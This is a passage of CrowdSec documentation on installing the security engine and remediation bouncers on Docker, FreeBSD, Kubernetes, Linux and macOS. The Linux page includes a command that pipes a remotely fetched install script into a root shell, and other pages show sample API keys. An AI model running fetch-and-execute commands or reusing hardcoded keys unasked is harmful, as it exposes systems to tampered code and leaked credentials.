โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ [...] Parser Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Parsers โ”‚ Hits โ”‚ Parsed โ”‚ Unparsed โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ child-crowdsecurity/apache2-logs โ”‚ 1 โ”‚ 1 โ”‚ - โ”‚ โ”‚ child-crowdsecurity/http-logs โ”‚ 3 โ”‚ 3 โ”‚ - โ”‚ โ”‚ crowdsecurity/apache2-logs โ”‚ 1 โ”‚ 1 โ”‚ - โ”‚ โ”‚ crowdsecurity/dateparse-enrich โ”‚ 1 โ”‚ 1 โ”‚ - โ”‚ โ”‚ crowdsecurity/geoip-enrich โ”‚ 1 โ”‚ 1 โ”‚ - โ”‚ โ”‚ crowdsecurity/http-logs โ”‚ 1 โ”‚ 1 โ”‚ - โ”‚ โ”‚ crowdsecurity/non-syslog โ”‚ 1 โ”‚ 1 โ”‚ - โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` ## Bind it to the WP plugin to block the detected attackers[โ€‹](#bind-it-to-the-wp-plugin-to-block-the-detected-attackers "Direct link to Bind it to the WP plugin to block the detected attackers") Now that we have CrowdSec running and detecting bad behaviors.
Alerts are raised and decisions to block bad actors are stored in the local DB.
To actually apply a remediation and ban the attackers from your website you need: * To create a bouncer API key: SHCOPY ``` cscli bouncers add my_wp_bouncer ``` * You should see something like this: SHCOPY ``` API key for 'my_wp_bouncer': OI8BQQqMcasoeuxK2g5lMSHPLVkH1tARqLIW0HS3cIY Please keep this key since you will not be able to retrieve it! ``` * Add those credentials to your WP bouncer plugin as described in the [WP plugin documentation](https://docs.crowdsec.net/u/bouncers/wordpress.md#configurations) --- # Install with Docker or Podman info Prerequisites are written for bare metal installs. In containers, some of these items may not apply. warning Since CrowdSec 1.7.0, it is mandatory to persist the `/var/lib/crowdsec/data` directory in a volume. If you use the examples provided in this page, they will be. If you write your own compose file, make sure you create a volume for it. New to CrowdSec? Start with the [introduction](https://docs.crowdsec.net/u/getting_started/intro.md) to understand the components and prerequisites. This page installs the **Security Engine** (detection). To block attacks, add a [Remediation Component](https://docs.crowdsec.net/u/bouncers/intro.md) after installation. ## Docker[โ€‹](#docker "Direct link to Docker") Make sure Docker is installed. If not, follow the [official Docker instructions](https://docs.docker.com/get-docker/). ### Run[โ€‹](#run "Direct link to Run") The `docker run` command is useful for quick tests and development. SHCOPY ``` docker run -d \ --name crowdsec \ --volume /etc/crowdsec:/etc/crowdsec \ --volume /var/lib/crowdsec/data/:/var/lib/crowdsec/data/ \ --volume /var/log:/var/log:ro \ --env COLLECTIONS="crowdsecurity/linux" \ -p 127.0.0.1:8080:8080 \ crowdsecurity/crowdsec:latest ``` For most users, we recommend Docker Compose for production. It lets you define services, volumes, and networks in a single file. ### Compose[โ€‹](#compose "Direct link to Compose") Docker Compose is a tool for defining and running multi-container setups in a structured format. It uses a YAML file to configure the application's services, networks, and volumes. Example snippet: YAMLCOPY ``` crowdsec: image: crowdsecurity/crowdsec restart: always ports: - 127.0.0.1:8080:8080 environment: COLLECTIONS: "crowdsecurity/nginx" GID: "${GID-1000}" depends_on: - "reverse-proxy" volumes: - ./crowdsec/acquis.yaml:/etc/crowdsec/acquis.yaml - logs:/var/log/nginx - crowdsec-db:/var/lib/crowdsec/data/ - crowdsec-config:/etc/crowdsec/ ``` info `Compose` snippet was taken from our [example-docker-compose repository](https://github.com/crowdsecurity/example-docker-compose) which contains many examples of how CrowdSec container can be used in different setups. #### Compose key aspects[โ€‹](#compose-key-aspects "Direct link to Compose key aspects") If you do not find an example that fits your needs, create your own `docker-compose.yml`. Here are the key aspects to keep in mind: ##### Provide access to logs[โ€‹](#provide-access-to-logs "Direct link to Provide access to logs") Because CrowdSec runs inside a container, you must mount log sources. In the example above, the `logs` volume is shared with the application container. YAMLCOPY ``` volumes: - logs:/var/log/nginx ``` ##### Persist data directories[โ€‹](#persist-data-directories "Direct link to Persist data directories") The following directories *must* be persisted, otherwise the container will refuse to start: YAMLCOPY ``` volumes: - crowdsec-db:/var/lib/crowdsec/data/ ## Data Directory - crowdsec-config:/etc/crowdsec/ ## Configuration Directory ``` info If you haven't used named volumes within Docker before you can read their [documentation here](https://docs.docker.com/storage/volumes/#use-a-volume-with-docker-compose) ##### Use depends\_on[โ€‹](#use-depends_on "Direct link to Use depends_on") The `depends_on` directive helps bring up the compose stack in order. In the snippet, the `reverse-proxy` container creates log files on startup, so we want it running first. YAMLCOPY ``` depends_on: - "reverse-proxy" ``` ## Environment variables[โ€‹](#environment-variables "Direct link to Environment variables") You can find a full list of available environment variables in the [Docker image readme](https://github.com/crowdsecurity/crowdsec/blob/master/build/docker/README.md). Here are the most common environment variables for customizing CrowdSec in Docker: | Variable | Default | Description | | -------------------- | --------------------------- | ----------------------------------------------------------------------------------------------------- | | `COLLECTIONS` | *(none)* | Space-separated list of CrowdSec collections to install (e.g., `crowdsecurity/nginx`). | | `TZ` | UTC | Timezone for logs (e.g., `Europe/London`). | | `CONFIG_FILE` | `/etc/crowdsec/config.yaml` | Path to the main config file. Useful if mounting a single file instead of a full directory. | | `LOCAL_API_URL` | `http://0.0.0.0:8080` | Where the Local API listens. Normally doesn't need to be changed unless you're running in agent mode. | | `DISABLE_LOCAL_API` | `false` | Set to `true` to disable LAPI and use this instance as a log processor only. | | `DISABLE_AGENT` | `false` | Set to `true` to disable the log processor and use this instance as an LAPI only. | | `AGENT_USERNAME` | *(none)* | Required only if `DISABLE_LOCAL_API` is true. Username for connecting to central LAPI. | | `AGENT_PASSWORD` | *(none)* | Password for authenticating the agent. | | `BOUNCER_KEY_` | *(none)* | Seed value as API key for remediation under `` | tip Use a `.env` file or Docker secrets to avoid hardcoding sensitive variables like passwords or API keys. *** ## Choose a Remediation Component[โ€‹](#choose-a-remediation-component "Direct link to Choose a Remediation Component") warning The Security Engine by itself is a detection engine -- it will not block anything. You need to add a [Remediation Component](https://docs.crowdsec.net/u/bouncers/intro.md) to enforce decisions. Protecting a web application? Use a **WAF-capable** bouncer to get real-time WAF protection and virtual patching. For Docker and Kubernetes environments, the [Traefik bouncer plugin](https://docs.crowdsec.net/u/bouncers/traefik.md) is a natural fit. If you use Nginx as a reverse proxy, see the [Nginx bouncer](https://docs.crowdsec.net/u/bouncers/nginx.md). See the [full bouncer selection guide](https://docs.crowdsec.net/u/bouncers/intro.md) for all available options. For non-web services (SSH, databases, SMTP), use the [firewall bouncer](https://docs.crowdsec.net/u/bouncers/firewall.md) for IP-level protection. *** ## Next steps[โ€‹](#next-steps "Direct link to Next steps") Great, you now have CrowdSec installed. Continue with the [post-installation steps](https://docs.crowdsec.net/u/getting_started/next_steps.md) to finish setup and optimize your deployment. --- # Install on FreeBSD New to CrowdSec? Start with the [introduction](https://docs.crowdsec.net/u/getting_started/intro.md) to understand the components and prerequisites. # Configure repositories FreeBSD packages are available in the official repositories. By default, `pkg install` uses quarterly releases (January, April, July, October), which include security fixes. You can check `/etc/pkg/FreeBSD.conf` and [change **quarterly** to **latest**](https://wiki.freebsd.org/Ports/QuarterlyBranch) if you feel comfortable upgrading your system. ## Install the Security Engine[โ€‹](#install-the-security-engine "Direct link to Install the Security Engine") The CrowdSec package itself can be installed with: SHCOPY ``` sudo pkg install crowdsec ``` You'll see a message that tells you how to activate the service: #### Enable Service[โ€‹](#enable-service "Direct link to Enable Service") SHCOPY ``` sudo sysrc crowdsec_enable="YES" ``` Command Output SHCommand OutputCOPY ``` crowdsec_enable: -> YES ``` #### Start Service[โ€‹](#start-service "Direct link to Start Service") SHCOPY ``` sudo service crowdsec start ``` Command Output SHCommand OutputCOPY ``` Fetching hub inventory INFO[21-12-2021 03:13:35 PM] Wrote new 197364 bytes index to /usr/local/etc/crowdsec/hub/.index.json [...] ``` ## Install a Remediation Component[โ€‹](#install-a-remediation-component "Direct link to Install a Remediation Component") warning The Security Engine only detects. To block malicious traffic, install a [Remediation Component](https://docs.crowdsec.net/u/bouncers/intro.md). For a quick start, we install the [PF](https://en.wikipedia.org/wiki/PF_\(firewall\)) firewall [Remediation Component](https://docs.crowdsec.net/u/bouncers/intro.md). This may not fit every environment, so see the [Remediation documentation](https://docs.crowdsec.net/u/bouncers/intro.md) for alternatives. To install: SHCOPY ``` sudo pkg install crowdsec-firewall-bouncer ``` warning Before starting the firewall bouncer in `pf` mode, ensure your `/etc/pf.conf` defines the CrowdSec tables and blocking rules. See the [Firewall Remediation Component pf setup guide](https://docs.crowdsec.net/u/bouncers/firewall.md#pf-setup-freebsd). Then you must enable it with the following commands: #### Enable Service[โ€‹](#enable-service-1 "Direct link to Enable Service") SHCOPY ``` sudo sysrc crowdsec_firewall_enable="YES" ``` Command Output SHCommand OutputCOPY ``` crowdsec_firewall_enable: -> YES ``` #### Start Service[โ€‹](#start-service-1 "Direct link to Start Service") SHCOPY ``` sudo service crowdsec_firewall start ``` Command Output SHCommand OutputCOPY ``` Registered: cs-firewall-bouncer-ZjpcXlUx ``` ## Next steps[โ€‹](#next-steps "Direct link to Next steps") Great, you now have CrowdSec installed. Continue with the [post-installation steps](https://docs.crowdsec.net/u/getting_started/next_steps.md) to finish setup and optimize your deployment. --- # Install on Kubernetes New to CrowdSec? Start with the [introduction](https://docs.crowdsec.net/u/getting_started/intro.md) to understand the components and prerequisites. This page installs the **Security Engine** (detection). For blocking, install a [Remediation Component](https://docs.crowdsec.net/u/bouncers/intro.md) after the engine is running. ## Requirements[โ€‹](#requirements "Direct link to Requirements") * [kubectl](https://kubernetes.io/docs/tasks/tools/#kubectl) * [Helm](https://helm.sh/docs/intro/install/) You can install without Helm, but it is not documented yet. ## Helm Repository Installation[โ€‹](#helm-repository-installation "Direct link to Helm Repository Installation") Add the CrowdSec helm repository to your Helm installation: SHCOPY ``` helm repo add crowdsec https://crowdsecurity.github.io/helm-charts helm repo update ``` ### Install the Security Engine[โ€‹](#install-the-security-engine "Direct link to Install the Security Engine") Once the Helm repository is added, create a `crowdsec-values.yaml` file. This `values.yaml` different options are described [here](https://docs.crowdsec.net/docs/next/configuration/values_parameters.md) You can start with this example: YAMLCOPY ``` # for raw logs format: json or cri (docker|containerd) container_runtime: containerd agent: # Specify each pod whose logs you want to process acquisition: # The namespace where the pod is located - namespace: traefik # The pod name podName: traefik-* # as in crowdsec configuration, we need to specify the program name to find a matching parser program: traefik env: - name: COLLECTIONS value: "crowdsecurity/traefik" lapi: env: # To enroll the Security Engine to the console - name: ENROLL_KEY value: "" - name: ENROLL_INSTANCE_NAME value: "my-k8s-cluster" - name: ENROLL_TAGS value: "k8s linux test" ## config.yaml.local is the configuration file used by the Security Engine itself config: config.yaml.local: | api: client: # the log processor will remove delete itself from LAPI when stopping. unregister_on_exit: true server: # This is needed for agent autoregistration auto_registration: # Activate if not using TLS for authentication enabled: true token: "${REGISTRATION_TOKEN}" # /!\ Do not modify this variable (auto-generated and handled by the chart) allowed_ranges: # /!\ Make sure to adapt to the pod IP ranges used by your cluster - "127.0.0.1/32" - "192.168.0.0/16" - "10.0.0.0/8" - "172.16.0.0/12" # Using a database is strongly encouraged. db_config: type: postgresql user: crowdsec password: ${DB_PASSWORD} db_name: crowdsec host: flush: bouncers_autodelete: api_key: 1h agents_autodelete: login_password: 6h cert: 6h ``` Acquisition is done by reading logs directly from pods. You select which pods to watch thanks to `namespace` and `podName`, and you have to tag the logs with a program so CrowdSec knows which parser should handle them. For example, if you set program: nginx, the nginx parser will pick them up. CrowdSec will automatically attach to the right pods and feed the logs into the right parsers. Why `program` and not `type` ? In standard standalone setups, documentation states that the labels should be name `type` with the type being the parsed log program (eg nginx, traefik). A transformation from `type` to `program` is done by the first stage parser `crowdsecurity/syslog-logs` which is not relevant in a Kubernetes context. How collections fit in kubernetes environment? Collections are "recipes" for understanding logs; they donโ€™t find pods on their own. You choose which pods to read, and you tag those logs with a program (like nginx or traefik). When the tag matches what a collection expects, its rules run; if it doesnโ€™t, they stay idle. One log stream can match several collections if the tags fit. For full configuration options, see the default [values.yaml](https://docs.crowdsec.net/docs/next/configuration/values_parameters.md) warning Pay attention to the `bouncers_autodelete`, `agents_autodelete` and `unregister_on_exit` parameters, as they help avoid orphaned resources. Then, you can install the Security Engine with the following command: SHCOPY ``` # Create a namespace for crowdsec kubectl create ns crowdsec # Install the helm chart helm install crowdsec crowdsec/crowdsec -n crowdsec -f crowdsec-values.yaml ``` Check the installation status: SHCOPY ``` kubectl -n crowdsec get pods ``` Command Output SHCommand OutputCOPY ``` NAME READY STATUS RESTARTS AGE crowdsec-agent-kf9fr 1/1 Running 0 34s crowdsec-lapi-777c469947-jbk9q 1/1 Running 0 34s ``` ### A word about source IPs[โ€‹](#a-word-about-source-ips "Direct link to A word about source IPs") For CrowdSec to work in Kubernetes, it must see the real client IP. Otherwise every request looks like it came from your ingress controller or load balancer. Make sure the original IP is passed through (for example, proxy-protocol on ingress, `externalTrafficPolicy: Local` on Services, or `real_ip_header` and `set_real_ip_from` with NGINX). The exact steps depend on your stack, but the goal is always the same: CrowdSec needs the real IP, not the proxy's. ### A word about Remediation Components[โ€‹](#a-word-about-remediation-components "Direct link to A word about Remediation Components") Installing the Security Engine (LAPI + agent) enables detections, but it does not block anything by itself. To enforce decisions, install a remediation component. In Kubernetes, remediation is currently done at the ingress level. For now, we support: * [Ingress Nginx](https://docs.crowdsec.net/u/bouncers/ingress-nginx.md) * [Traefik Ingress](https://docs.crowdsec.net/u/bouncers/traefik.md) Please note that the [Traefik Kubernetes Ingress (third-party development)](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin)) is maintained outside CrowdSec. In the crowdsec helm `values.yaml` file: YAMLCOPY ``` lapi: env: - name: BOUNCER_KEY_ value: "" ``` example: YAMLCOPY ``` lapi: env: - name: BOUNCER_KEY_traefik value: "mysecretkey12345" ``` To avoid having secrets stored in you `values.yaml` you can use secrets: SHCOPY ``` kubectl create secret generic crowdsec-keys \ --from-literal=ENROLL_KEY= \ --from-literal=BOUNCER_KEY_ingress= \ -n crowdsec ``` And use this in the values.yaml: YAMLCOPY ```` lapi: env: - name: ENROLL_KEY valueFrom: secretKeyRef: name: crowdsec-keys key: ENROLL_KEY value: "" - name: BOUNCER_KEY_traefik valueFrom: secretKeyRef: name: crowdsec-keys key: BOUNCER_KEY_traefik value: ""``` ```` ### A word about databases[โ€‹](#a-word-about-databases "Direct link to A word about databases") By default, CrowdSec uses a SQLite database, which does not support replication. In a Kubernetes environment, this limitation prevents the Local API from being replicated. For production deployments on Kubernetes, we recommend using a database engine that can be deployed in a replicated or highly available way, such as MariaDB or PostgreSQL. You can leverage existing operators to manage these databases: * [mariadb operator](https://mariadb.com/resources/blog/get-started-with-mariadb-in-kubernetes-and-mariadb-operator/) * [postgresql operator](https://github.com/cloudnative-pg/cloudnative-pg) Crowdsec in kubernetes configuration for this database is made with the [config.config.yaml.local value in `values.yaml`](https://docs.crowdsec.net/docs/next/configuration/values_parameters.md). Configuration of those databases is out of scope of this documentation. warning SQLite may be suitable for testing or low traffic clusters, but it is not recommended for Kubernetes production deployments. Besides the lack of replication, SQLite can also become a performance bottleneck under heavy load. ## Next steps[โ€‹](#next-steps "Direct link to Next steps") Great, you now have CrowdSec installed on your system! * Look at the [post installation steps](https://docs.crowdsec.net/u/getting_started/next_steps.md) to find the next steps to configure and optimize your installation. * Look at the [values.yaml](https://docs.crowdsec.net/docs/next/configuration/values_parameters.md) for available configuration parameters. * Look at the [ingress nginx](https://docs.crowdsec.net/docs/next/appsec/quickstart/nginx-ingress.md) and [traefik](https://docs.crowdsec.net/docs/next/appsec/quickstart/traefik.md) for AppSec (Web Application Firewall) configuration --- # Install on Linux New to CrowdSec? Start with the [introduction](https://docs.crowdsec.net/u/getting_started/intro.md) to understand the components and prerequisites. This page installs the **Security Engine** (detection). To block attacks, add a [Remediation Component](https://docs.crowdsec.net/u/bouncers/intro.md) after installation. ## Repository installation[โ€‹](#repository-installation "Direct link to Repository installation") The CrowdSec repository contains the latest stable version of CrowdSec and is the recommended way to install our packages. SHCOPY ``` curl -s https://install.crowdsec.net | sudo sh ``` ### Manual Repository Installation[โ€‹](#manual-repository-installation "Direct link to Manual Repository Installation") If you prefer to manually add the repository, you can do so by following the instructions below. Manual Repository Installation * Deb * RPM Begin by refreshing your package cache by running SHCOPY ``` sudo apt update ``` If you are running Debian, install debian-archive-keyring so that official Debian repositories will be verified (Ubuntu users can skip this) SHCOPY ``` sudo apt install debian-archive-keyring ``` Ensure the required tools (curl, gpg, apt-transport-https) are installed before proceeding: SHCOPY ``` sudo apt install -y curl gnupg apt-transport-https ``` In order to install a deb repo, first you need to install the GPG key that used to sign repository metadata. This will change depending on whether or not your apt version is >= v.1.1. You can check this by running: SHCOPY ``` apt -v ``` For apt version >= v1.1: (Equivalent to or later than Debian/Raspbian Stretch, Ubuntu Xenial, Linux Mint Sarah, Elementary OS Loki) Create the directory to import the GPG key: From apt v2.4.0, `/etc/apt/keyrings/` is the designated directory for administrator imported keys. We will be using that for the following instructions, but you can replace `/etc/apt/keyrings/` with any path of your choosing. If you need to create the directory, run: SHCOPY ``` mkdir -p /etc/apt/keyrings/ ``` Then add the GPG key: ``` curl -fsSL https://packagecloud.io/crowdsec/crowdsec/gpgkey | gpg --dearmor > /etc/apt/keyrings/crowdsec_crowdsec-archive-keyring.gpg ``` Create a file named `/etc/apt/sources.list.d/crowdsec_crowdsec.list` that contains the repository configuration below. ``` deb [signed-by=/etc/apt/keyrings/crowdsec_crowdsec-archive-keyring.gpg] https://packagecloud.io/crowdsec/crowdsec/any any main deb-src [signed-by=/etc/apt/keyrings/crowdsec_crowdsec-archive-keyring.gpg] https://packagecloud.io/crowdsec/crowdsec/any any main ``` For apt version < v1.1: (Equivalent to or older than Debian/Raspbian Jessie, Ubuntu Wily, Linux Mint Rosa, Elementary OS Freya) Add the GPG key: ``` curl -fsSL https://packagecloud.io/crowdsec/crowdsec/gpgkey | gpg --dearmor > /etc/apt/trusted.gpg.d/crowdsec_crowdsec.gpg ``` Create a file named `/etc/apt/sources.list.d/crowdsec_crowdsec.list` that contains the repository configuration below. ``` deb https://packagecloud.io/crowdsec/crowdsec/any any main deb-src https://packagecloud.io/crowdsec/crowdsec/any any main ``` Run this command update your local APT cache: SHCOPY ``` sudo apt update ``` You can now install packages from your repository. Install pygpgme, a package which allows yum to handle gpg signatures, and a package called yum-utils which contains the tools you need for installing source RPMs. SHCOPY ``` sudo yum install pygpgme yum-utils ``` You may need to install the EPEL repository for your system to install these packages. If you do not install pygpgme, GPG verification will not work. Create a file named /etc/yum.repos.d/crowdsec\_crowdsec.repo that contains the repository configuration below. ``` [crowdsec_crowdsec] name=crowdsec_crowdsec baseurl=https://packagecloud.io/crowdsec/crowdsec/rpm_any/rpm_any/$basearch repo_gpgcheck=1 gpgcheck=1 enabled=1 gpgkey=https://packagecloud.io/crowdsec/crowdsec/gpgkey https://packagecloud.io/crowdsec/crowdsec/gpgkey/crowdsec-crowdsec-EDE2C695EC9A5A5C.pub.gpg https://packagecloud.io/crowdsec/crowdsec/gpgkey/crowdsec-crowdsec-C822EDD6B39954A1.pub.gpg https://packagecloud.io/crowdsec/crowdsec/gpgkey/crowdsec-crowdsec-FED78314A2468CCF.pub.gpg sslverify=1 sslcacert=/etc/pki/tls/certs/ca-bundle.crt metadata_expire=3600 [crowdsec_crowdsec-source] name=crowdsec_crowdsec-source baseurl=https://packagecloud.io/crowdsec/crowdsec/rpm_any/rpm_any/SRPMS repo_gpgcheck=1 gpgcheck=1 enabled=1 gpgkey=https://packagecloud.io/crowdsec/crowdsec/gpgkey https://packagecloud.io/crowdsec/crowdsec/gpgkey/crowdsec-crowdsec-EDE2C695EC9A5A5C.pub.gpg https://packagecloud.io/crowdsec/crowdsec/gpgkey/crowdsec-crowdsec-C822EDD6B39954A1.pub.gpg https://packagecloud.io/crowdsec/crowdsec/gpgkey/crowdsec-crowdsec-FED78314A2468CCF.pub.gpg sslverify=1 sslcacert=/etc/pki/tls/certs/ca-bundle.crt metadata_expire=3600 ``` Update your local yum cache by running SHCOPY ``` sudo yum -q makecache -y --disablerepo='*' --enablerepo='crowdsec_crowdsec' ``` You can now install packages from your repository. ### Install the Security Engine[โ€‹](#install-the-security-engine "Direct link to Install the Security Engine") #### Check Install Candidate[โ€‹](#check-install-candidate "Direct link to Check Install Candidate") Before installing the Security Engine, make sure the version you are about to install is the latest from our official repositories. In some cases, other package sources on your system may have a higher priority and override our repository. * Debian/Ubuntu * EL/Centos7/Amzn Linux 2 * EL/Centos Stream 8 * SUSE Linux * OpenWRT * CloudLinux SHCOPY ``` apt list crowdsec ``` warning If you are using ESM/Pro Ubuntu you will need to alter the package weights to get the latest version see below ESM/Pro Ubuntu #### Check the current package policy[โ€‹](#check-the-current-package-policy "Direct link to Check the current package policy") To see which version of CrowdSec is currently available via APT: SHCOPY ``` apt-cache policy crowdsec ``` You may see output like the following: TEXTCOPY ``` crowdsec: Installed: (none) Candidate: 1.4.6-6ubuntu0.24.04.1+esm1 Version table: .... ``` If the `Candidate` version shown is `1.4.6`, this means the default priority favors the Ubuntu-provided package. To ensure we retrieve the latest version from our repository, we need to adjust the package pinning. #### Set CrowdSec repository priority[โ€‹](#set-crowdsec-repository-priority "Direct link to Set CrowdSec repository priority") Open the preferences file with: SHCOPY ``` sudo vim /etc/apt/preferences.d/crowdsec ``` Then add the following content: TEXTCOPY ``` Package: * Pin: release o=packagecloud.io/crowdsec/crowdsec,a=any,n=any,c=main Pin-Priority: 1001 ``` After saving the file, refresh your local package cache: SHCOPY ``` sudo apt update ``` Once the cache has been updated, check the policy again to confirm that the latest version is now selected: SHCOPY ``` apt-cache policy crowdsec ``` TEXTCOPY ``` crowdsec: Installed: 1.6.X Candidate: 1.6.X Version table: ... ``` SHCOPY ``` yum list crowdsec ``` SHCOPY ``` dnf list crowdsec ``` SHCOPY ``` zypper info crowdsec ``` SHCOPY ``` opkg list | grep crowdsec ``` SHCOPY ``` yum list crowdsec ``` warning Ensure the above command outputs you are installing a version higher than **1.4.6** otherwise you are installing an old and outdated version. #### Install Command[โ€‹](#install-command "Direct link to Install Command") Once the repository is added and you have checked the install candidate, you can install the Security Engine via: * Debian/Ubuntu * EL/Centos7/Amzn Linux 2 * EL/Centos Stream 8 * SUSE Linux * OpenWRT * CloudLinux SHCOPY ``` apt install crowdsec ``` SHCOPY ``` yum install crowdsec ``` SHCOPY ``` dnf install crowdsec ``` SHCOPY ``` zypper install crowdsec ``` SHCOPY ``` opkg install crowdsec ``` SHCOPY ``` yum install crowdsec ``` ### Choose and Install a Remediation Component[โ€‹](#choose-and-install-a-remediation-component "Direct link to Choose and Install a Remediation Component") warning The Security Engine by itself is a detection engine -- it will not block anything. You need to install a [Remediation Component](https://docs.crowdsec.net/u/bouncers/intro.md) to enforce decisions. Protecting a web application? If you are running a web server or reverse proxy (Nginx, OpenResty, Traefik, HAProxy), install the matching **WAF-capable** bouncer instead of the firewall bouncer. This gives you real-time WAF protection, virtual patching, and defense against application-layer attacks (SQLi, XSS, CVE exploits). * **Nginx** -- [crowdsec-nginx-bouncer](https://docs.crowdsec.net/u/bouncers/nginx.md) * **OpenResty** -- [crowdsec-openresty-bouncer](https://docs.crowdsec.net/u/bouncers/openresty.md) * **Traefik** -- [traefik-bouncer-plugin](https://docs.crowdsec.net/u/bouncers/traefik.md) * **HAProxy** -- [cs-haproxy-spoa-bouncer](https://docs.crowdsec.net/u/bouncers/haproxy_spoa.md) See the [full bouncer selection guide](https://docs.crowdsec.net/u/bouncers/intro.md) for details. #### Firewall Bouncer (Infrastructure Protection)[โ€‹](#firewall-bouncer-infrastructure-protection "Direct link to Firewall Bouncer (Infrastructure Protection)") For non-web services such as SSH, databases, or SMTP, the firewall bouncer provides broad IP-level protection: * Debian/Ubuntu * RHEL/Centos/Fedora * SUSE Linux SHCOPY ``` sudo apt install crowdsec-firewall-bouncer-iptables ``` SHCOPY ``` sudo yum install crowdsec-firewall-bouncer-iptables ``` SHCOPY ``` sudo zypper install crowdsec-firewall-bouncer-iptables ``` ## Next steps[โ€‹](#next-steps "Direct link to Next steps") Great, you now have CrowdSec installed on your system. Within the [post installation steps](https://docs.crowdsec.net/u/getting_started/next_steps.md) you will find the next steps to configure and optimize your installation. --- # Install on macOS warning We do not compile the Security Engine for macOS. Use a container runtime like [Docker](https://www.docker.com/) to run the Linux container on macOS. tip If you want a quick, guided test, use our online sandbox. It includes a preinstalled application to generate logs. [Find it here](https://killercoda.com/iiamloz/scenario/crowdsec-setup) New to CrowdSec? Start with the [introduction](https://docs.crowdsec.net/u/getting_started/intro.md) to understand the components and prerequisites. ## Running CrowdSec on MacOS[โ€‹](#running-crowdsec-on-macos "Direct link to Running CrowdSec on MacOS") Open a terminal and verify that Docker is running on your macOS machine. SHCOPY ``` docker version ``` Command Output SHCommand OutputCOPY ``` Client: Docker Engine - Community Version: 20.10.7 API version: 1.41 Go version: go1.13.15 Git commit: f0df350 Built: Wed Jun 2 11:56:35 2021 OS/Arch: darwin/amd64 Context: default Experimental: true Server: Docker Engine - Community Engine: Version: 20.10.7 API version: 1.41 (minimum version 1.12) Go version: go1.13.15 Git commit: b0f5bc3 Built: Wed Jun 2 11:54:58 2021 OS/Arch: linux/amd64 Experimental: false containerd: Version: 1.4.6 GitCommit: d71fcd7d8303cbf684402823e425e9dd2e99285d runc: Version: 1.0.0-rc95 GitCommit: b9ee9c6314599f1b4a7f497e1f1f856fe433d3b7 docker-init: Version: 0.19.0 GitCommit: de40ad0 ``` Once Docker is running, pull the CrowdSec image. SHCOPY ``` docker pull crowdsecurity/crowdsec ``` Command Output SHCommand OutputCOPY ``` Using default tag: latest latest: Pulling from crowdsecurity/crowdsec Digest: sha256: Status: Image is up to date for crowdsecurity/crowdsec:latest docker.io/crowdsecurity/crowdsec:latest ``` Now run the CrowdSec container. SHCOPY ``` docker run -d --name crowdsec -v /var/run/docker.sock:/var/run/docker.sock -v /etc/crowdsec:/etc/crowdsec -v /var/log:/var/log crowdsecurity/crowdsec ``` warning On macOS you may not have local services generating logs, so detections might not trigger. Use the [online sandbox](https://killercoda.com/iiamloz/scenario/crowdsec-setup) to test end-to-end behavior. To stop and remove the container: SHCOPY ``` docker rm --force crowdsec ``` --- # Install on OPNsense New to CrowdSec? Start with the [introduction](https://docs.crowdsec.net/u/getting_started/intro.md) to understand the components and prerequisites. The CrowdSec plugin for OPNsense is installed from the official repositories. It includes a log processor, LAPI service, and Remediation Component. This allows you to: to: * block attacking traffic before it reaches the network (protect machines without CrowdSec) * scan OPNsense logs for attacks * use OPNsense as the LAPI for other agents and remediation components * view hub items (parsers, scenarios) and decisions in the OPNsense UI ## Plugin installation[โ€‹](#plugin-installation "Direct link to Plugin 